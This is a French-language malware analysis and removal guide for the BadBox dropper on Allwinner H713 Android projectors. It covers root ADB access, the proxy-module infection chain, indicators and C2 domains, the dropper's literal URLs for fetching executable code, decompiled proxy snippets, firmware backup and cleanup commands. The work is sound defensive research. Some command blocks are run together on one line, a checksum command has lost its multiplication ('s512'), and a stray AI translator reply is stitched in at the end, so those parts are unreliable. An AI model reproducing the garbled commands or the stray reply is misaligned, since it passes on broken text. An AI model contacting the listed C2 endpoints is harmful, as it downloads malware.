
Guide d'analyse et de nettoyage du malware BadBox sur les projecteurs Android Allwinner H713 : accès ADB, preuve d'infection, sauvegarde du firmware, suppression du dropper et vérification.
26 sept. 2026 · @R
Un projecteur Android bon marché (Wielo / Atongmu AT-M269, Allwinner H713) est livré avec un dropper au niveau système qui le transforme en nœud de proxy résidentiel. Ce document montre comment y accéder sans ouvrir le boîtier, prouver l'infection, sauvegarder le firmware, supprimer le malware et vérifier le résultat.
Projecteur LCD sans marque vendu sous des marques changeantes. La carte et le firmware sont partagés entre de nombreux projecteurs H713 (clones HY300 et autres), donc tout ce qui suit s'applique plus largement.
| Propriété | Valeur |
|---|---|
| Vendu comme | Wielo Smart Projector, modèle AT-M269 (FCC ID 2BAAR-AT-M269D) |
| Fabricant | Shenzhen Atongmu Technology ; firmware et applications du fabricant « ASHD » |
| Révision matérielle | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53 ; carte exdroid, plateforme ares |
| RAM / stockage | 1 Go DDR @ 576 MHz / 8 Go eMMC (7 818 182 656 octets) |
| Wi-Fi / Bluetooth | AIC8800 (aic8800d80, pilote rwnx 6.4.3.0) |
| Noyau | Linux 5.4.99, 32 bits (armv7l), compilé le 8 déc. 2025 |
| Build réel | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, hôte de build ishang-PC |
| OS | Android 11 (SDK 30), build user, correctif de sécurité 2022-02-05 |
| Déguisement | Se présente comme Google ADT-3 (marque/modèle/appareil, fabricant askey) ; modèle réel dans ro.product.model2 = AT-M269 |
| Partitions / boot | A/B virtuel, slot actif _b, partitions dynamiques (retrofit) dans super ; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate vide ; déverrouillage OEM non autorisé ; /system plein à 100 % |
| Sécurité | ro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB sur tcp/5868, SELinux permissif, permissions privapp permissive, clés de test AOSP |
| Paramètres régionaux par défaut | Fuseau horaire Asia/Shanghai, zone DTV cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. Accès
ADB écoute sur le réseau, sur un port non standard, sans invite d'autorisation et avec les droits root.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` n'ont aucun effet.
## 3. Chaîne d'infection
Deux applications système préinstallées s'exécutent en tant qu'utilisateur système (UID 1000). L'une télécharge un loader, le loader télécharge quatre modules proxy et un second loader indépendant.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> le trafic internet d'inconnus est routé via votre connexion, et votre appareil est suivi (numéro de série, adresses MAC, SSID/BSSID Wi-Fi).
adb shell "netstat -tnp | grep ESTABLISHED"
### **b) Qui a installé quoi**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) Configuration au niveau du système**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
Le malware est intégré directement dans le firmware. La date de compilation est eng.work3.20251208.154308, le noyau a été compilé le Mon Dec 8 15:27:38 CST 2025. Les enregistrements de yiyou montrent qu'il était en cours d'exécution le jour même :```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) Logiciel malveillant dans l'image système signée par le fournisseur et en lecture seule**
Un utilisateur ou une application ultérieure ne peut pas placer de fichiers dans `/system`. Cela fait partie de `super`, protégé par dm-verity et signé via `vbmeta`.
## 5. Vue d'ensemble de l'architecture du logiciel malveillant
### 5.1. Composants principaux
| Composant | Emplacement | Ce qu'il fait |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`, UID 1000 | Télécharge et exécute `plugin.jar` ; envoie le numéro de série, les adresses MAC, android_id, le SSID/BSSID Wi-Fi, l'adresse MAC Bluetooth à Umeng/Baidu |
| `plugin.jar` (DEX) | cache de yiyou | Deux parties : l'installateur d'applications (listes d'applications par appareil, plus de 40 profils pour H713/RK3326/HY300) et le chargeur de tâches « hs » |
| Chargeur de tâches « hs » | à l'intérieur de `plugin.jar` | Interroge le C2 toutes les 6 h pour des tâches de type `jar`, `dex` ou `apk` ; télécharge, vérifie le MD5, exécute |
| SKN0041 `com.ad.proxy` | module `.rf` | Tunnellisation TCP/UDP/ICMP, heartbeat, connexion/rapport |
| SKN0054 `com.szns.sdk` | module `.rf` | Nœud proxy plus analyse UDP depuis votre réseau |
| SKN0058 `com.link.core` | module `.rf` | Client proxy avec ses propres résolveurs DNS |
| SKN0061 `ddth2` / VpsSdk | module `.rf` | Passerelle proxy, nombreuses instances clientes parallèles |
| `com.google.adtest` (« com.speed ») | `/data/app` | Second chargeur avec chargeur de plugin natif ; installe/supprime des paquets ; redémarre au démarrage, sur événement réseau, HDMI, alimentation |
| `com.android.sysapp` | `/system/priv-app`, UID 1000 | Programme de mise à jour OTA : peut télécharger et flasher une image de firmware complète |
| Fichiers Widevine | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` dépose un ensemble de clés/licences DRM afin que les applications de streaming fonctionnent sur l'appareil non certifié |
### 5.2. Comment les éléments restent cachés```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. Mouvement latéral
**Pas de mouvement latéral automatique, mais une porte d'entrée vers le LAN**
> Mais **SKN0041** et **SKN0058** relaient vers n'importe quelle cible nommée par la passerelle, et SKN0041 peut également la pinguer sur commande. Quiconque loue le proxy peut atteindre ou sonder le LAN manuellement.
- `plugin.jar`
- modules `.rf` déchiffrés SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- natif : `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
L'ensemble complet des commandes de SKN0041, issu de la table de dispatch `com/ad/proxy/b/a0.java` :
| Opcode | Handler | Rôle |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | requête / réponse de heartbeat |
| 3 | W | ouvre une connexion TCP brute vers un host:port fourni par l'opérateur, sans vérification d'adresse |
| 5 / 7 | X / Y | envoi / fermeture tcp sur une transaction ouverte |
| 8 | Z | ouvre une session UDP brute vers un host:port fourni par l'opérateur, sans vérification d'adresse |
| 11 | K | fermeture udp |
| 12 | L → P.java | exécute `ping -c 10 <host>` sur un hôte fourni par l'opérateur, relaie la sortie complète |
| 14 | M → Q.java | récupère une URL fournie par l'opérateur, sans vérification |
Aucun de ces opcodes ne filtre par plage d'IP.
Le serveur de re-streaming vidéo `plugin.jar` (`com.cloudmedia.tv.server.d`, un fork de NanoHTTPD servant des réécritures de flux Aiqiyi/Youku/CIBN) se lie sans hôte défini, ce qui signifie toutes les interfaces, accessible depuis le LAN, pas seulement localhost, s'il démarre. Son unique point d'entrée est `ParserUtils.AnalyticsHelper()`, derrière `getprop ro.board.platform == "rk3188"`. Cet appareil rapporte `ares` (H713), donc la barrière reste fermée.
État de l'appareil en direct : `netstat -tnp` ne montre que le screen-cast en loopback (`com.android.toofifi` sur `127.0.0.1:5354`), GMS vers Google en IPv6, et la session ADB. Aucun processus `yiyou`, `sysapp`, `speed`, `umanalytics` ou `adtest` en cours d'exécution.
L'interface Binder de `systemmixservice` (lecture/écriture/suppression arbitraire de fichiers et définition de propriétés en root, accessible par n'importe quelle application sur l'appareil) constitue une élévation de privilèges locale. Supprimer le dropper et ne pas installer d'APK non fiables la neutralise.
## 6. Indicateurs
Les indicateurs réseau (domaines, URLs, IPs) se trouvent dans la [section 11](#11-consolidated-hosturl-list-for-abuse-reports).
### 6.1. Paquets
| Paquet | Emplacement | Rôle |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper |
| `com.android.sysapp` (AshdSysApp) | `/system/priv-app/AshdSysApp`, UID 1000 (system) | backdoor du canal OTA |
| `com.google.adtest` (vrai nom `com.fotas.wanapp`, "com.speed") | `/data/app` | second loader |
| `com.cloudmedia.testapk` | `/system/app` | application de test d'usine OEM, supprimée en même temps que le dropper dans la section 8 |
| `com.disney.disneyplus` | `/data/app` | application de couverture installée par le dropper |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | conservée, inoffensive (assistant de télécommande Netflix) |
### 6.2.Binaires
| Binaire | Service init | Ce qu'il fait |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**: `class core`, `user root`, s'exécute en permanence depuis le boot | Démon su Superuser/ClockworkMod (ouvre les sockets `/dev/com.koushikdutta.superuser` + `.daemon`). |
| `/system/bin/appsdisable` | **`appsdisable`**: déclenché `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Après un sommeil de 4 s au boot (`settings ... global start_disable`), trouve chaque paquet installé avec un receiver `BOOT_COMPLETED` dont le composant commence par `com.google.android` et le `pm disable` pour tuer les propres vérifications de Google au démarrage comme le scan Play Protect et les services core GMS. |
| `/system/bin/gmsopt` | **`gmsopt`**: même déclencheur et mêmes flags que appsdisable | Même comportement de désactivation des receivers Google au boot qu'appsdisable mais en excluant `com.google.android.permissioncontroller`. Redondant. |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot` | Natif OEM ? Objectif non entièrement déterminé mais appartient au groupe root. |
### 6.3. Fichiers & répertoires
| Chemin | Quoi |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | loader "hs" / DEX d'installation d'applications téléchargé |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | modules proxy chiffrés (SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | copie de la charge utile stockée pour réinstallation silencieuse |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | bibliothèque native d'aide à l'identifiant d'appareil |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | base de données de session Umeng |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | préférences de tracking/config |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | préférences d'état de téléchargement OTA |
| `/data/mediadrm/IDM1013/L3/` | bundle DRM Widevine L3 déposé |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*` | espace de travail/résiduel utilisé par le loader et le client OTA |
### 6.4. Hachages des échantillons
| Échantillon | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (déchiffré) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (déchiffré) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (déchiffré) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (déchiffré) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (bundle Widevine) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (config SKN0054) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. Sauvegarde
Aucun firmware pour ce modèle ne semble publié, et le serveur OTA du fabricant rétro-ingénieré ne renvoie rien non plus.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
En Wi-Fi, utilisez les scripts d'assistance
dump-pull.sh [ip:port|usb] [file] récupère par blocs de 256 Mo avec une vérification de taille et des tentatives répétées. Le relancer reprend au dernier bloc complet. Avant la lecture, il remonte /data avec background_gc=off,nodiscard, synchronise et attend 10 s. En USB, il exécute également adb shell stop. Les deux sont annulés à la sortie (remontage background_gc=on,discard, start). UDISK correspond à /data et reste actif, donc son hash peut encore différer d'une exécution à l'autre.dump-verify.sh [ip:port|usb] [file] [-y] vérifie la taille, les en-têtes GPT, les zones de démarrage et chaque partition (SHA-256 de l'appareil vs. la même plage d'octets dans l'image). Il lit et corrige toute section non concordante. En cas de validation sans erreur, il écrit mmcblk0.img.sha256.```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### Restaurer le chemin
Entrez en mode Allwinner FEL, puis flashez avec PhoenixUSBPro via un câble USB-A vers USB-A.
Il n'y a pas de trou d'épingle externe pour démarrer en FEL : `adb reboot efex` ou `fastboot oem efex`.
Solution matérielle de secours possible : le pad FEL sur la carte, visible sur les photos internes de la FCC (nécessite l'ouverture du boîtier). Le flashage nécessite un `update.img` IMAGEWTY, construit à partir de votre dump avec `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) et un template H713.
FEL est en écriture seule. PhoenixSuit et PhoenixUSBPro ne peuvent pas relire l'eMMC, et `sunxi-fel` n'a pas de disposition SRAM pour le H713, seules les commandes en lecture seule fonctionnent ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).
Le dump ADB ci-dessus reste la méthode de sauvegarde.
### **Modes de démarrage**
L'unité est en A/B (`ro.build.ab_update=true`) avec le slot `_b` actif. Il n'y a pas de partition `recovery` : le recovery réside dans le ramdisk de boot. La console série U-Boot est `ttyS0` à 115200 bauds.
| Mode | Comment y entrer | Niveau | Statut |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | démarrage normal, `adb reboot` | kernel | fonctionne |
| Recovery | `adb reboot recovery` | boot ramdisk | fonctionne, menu ci-dessous |
| fastbootd | menu recovery : Enter fastboot | espace utilisateur en recovery | entre |
| U-Boot fastboot | menu recovery : Reboot to bootloader, ou `adb reboot bootloader` | U-Boot | fonctionne (macOS nécessite le correctif ci-dessous) |
| U-Boot efex | `fastboot oem efex` depuis U-Boot fastboot, ou `adb reboot efex` (U-Boot a aussi un déclencheur distant `ir-efex`) | U-Boot | fonctionne via `fastboot oem efex` et via `adb reboot efex` : `1f3a:efe8`, la poignée de main FEL répond |
| BootROM FEL | pad de test FEL | SoC BootROM | non testé |
### **Menu recovery :**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **ADB via USB**
le socket qui prend USB0 (`ohci0`) fonctionne en hôte par défaut. Il bascule en mode périphérique jusqu'au prochain redémarrage avec :```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
U-Boot fastboot non détecté
le gadget apparaît comme 1f3a:1010 ("USB Developer"), et son interface est le fastboot standard ff/42/03. Sa classe de périphérique est ff, cependant, l'os (macOS ici) semble ne pas configurer de configuration et fastboot devices reste vide.
Si cela se produit, la solution consiste à définir la configuration une fois avec pyusb, puis à utiliser fastboot normalement :```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
Depuis le fastboot U-Boot, `fastboot oem efex` bascule vers le gadget efex `1f3a:efe8`. (Peut nécessiter la même correction `set_configuration()`)
**Compilation de sunxi-tools depuis les sources**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Utilisez uniquement version et --list, jamais spl, uboot, write ou exe car les outils sunxi ne connaissent pas le chipset.
Pour quitter le FEL, débranchez d'abord l'USB, puis coupez l'alimentation jusqu'à ce que la led bleue du projecteur s'éteigne. wdreset ne fonctionne pas sans les données du SoC.
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. Suppression```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
Conservé, probablement inoffensif :
qw (démon su, supprimable uniquement en modifiant /system, accessible localement seulement)appsdisable, gmsopt, systemmixservicecom.android.nfx (assistant de télécommande Netflix)Vérification anti-altération
La désinstallation de yiyou casse les Paramètres. Le checkSHA1() de com.ashd.settings effectue deux vérifications :
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou, (ou com.android.umanalytics.kege, probablement le nom du dropper sur d'autres versions de firmware), est enregistré pour l'utilisateur 0.Les deux chemins d'échec journalisent 签名校验失败,关闭应用 (« échec de la vérification de signature, fermeture de l'application »). Désinstaller complètement yiyou (plutôt que simplement le désactiver, comme ci-dessus) déclenche ceci. adb shell pm install-existing com.android.umanalytics.yiyou restaure l'enregistrement sans le réactiver.
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**Résultats sur cette unité après nettoyage et redémarrage :**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
Répétez la vérification netstat après 24 heures (le loader se manifeste toutes les 6 heures) et recherchez les correspondances de liste de blocage provenant de l'IP du projecteur dans vos journaux DNS et de pare-feu.
/system en lecture-écriture pour supprimer les APK n'est pas recommandé : vbmeta est verrouillé, /system est plein à 100 %, donc adb disable-verity + adb remount créerait une surcouche dans /data (perdue lors d'une réinitialisation d'usine, comme pm uninstall --user 0) au risque d'un échec de démarrage.super dans votre dump et le flasher via FEL. Non testé.```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. Logiciels superflus```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
Réactiver avec pm enable --user 0 <package>
com.android.toofifi : service de screencast principal. Vous perdez la mise en miroir d'écran (diffusion de type Miracast/AirPlay) depuis les téléphones et les ordinateurs portables.com.toofifi.lineserver : serveur d'affichage filaire/USB pour la même pile, communique avec server.mphotool.com:8680 pour les vérifications de licence. Vous perdez le mode d'affichage filaire.com.toofifi.miracast : récepteur Miracast sans fil, appelle server.mphotool.com:8680/MPAPI/System/CheckUpdate et téléverse des journaux d'utilisation vers mphotool.com/FeituAppLogMgr. Vous perdez la diffusion sans fil.com.mphotool.usbcastserver : serveur de diffusion USB, même fournisseur. Vous perdez la prise en charge de la diffusion USB depuis l'appareil.com.rockchip.devicetest : aucune raison d'être sur une unité Allwinner.Analyse statique. Les sources décompilées brutes, les modules .rf déchiffrés et les scripts utilisés sont conservés dans analysis/ (decompiled/, decrypted_modules/, tools/).
com.android.sysapp
Les classes décompilées a.a.b.m/a.a.b.n donnent la requête OTA exacte et littérale :```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
via Apache `HttpPost` avec un corps de formulaire vide. Tout se trouve dans la chaîne de requête, donc GET et POST sont équivalents et il n'y a ni signature ni jeton. Rejoué en direct (2026‑09‑26) : `{"code":200,"data":[]}`, semble n'avoir aucun paquet pour ce productid, à toutes les versions essayées.
### 9.2 Dropper
`com.android.umanalytics.yiyou`
**Auto-mise à jour** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` fournit `DownLoadURL` avec `MD5` et `VersionCode` qui est téléchargé, vérifié par MD5, `PkgUtils.install(path, 1)` et s'auto-remplace silencieusement.
**Récupération de `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` fournit `plugin.jar` qui est téléchargé vers `<cache>/plugin.jar` chargé avec `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` est le point d'entrée.
**Profil de liste d'applications par appareil**
Ce sont les applications personnalisées pour chaque appareil de la campagne (probablement patchées pour contourner les DRM ?)
`com.anlytics.plug.b` identifie la carte (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, les paquets installés, des fichiers comme `/system/etc/voice.tar.gz`) par rapport à 40 profils codés en dur et sélectionne l'URL `appsinfo/.../infos*.json` correspondante parmi les constantes de `com.tools.a`.
Cet appareil embarque `com.ashd.launcher10` et rapporte `persist.sys.cm.dtsmodel=AT-M269` / carte `ares` et le seul profil H713 « launcher10 » dans la table est :```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
I don't see any content to translate in your message. The INPUT section appears to be empty — you've provided the instructions and chunk metadata (chunk 53 of 66, en → fr, README), but no actual Markdown text follows.
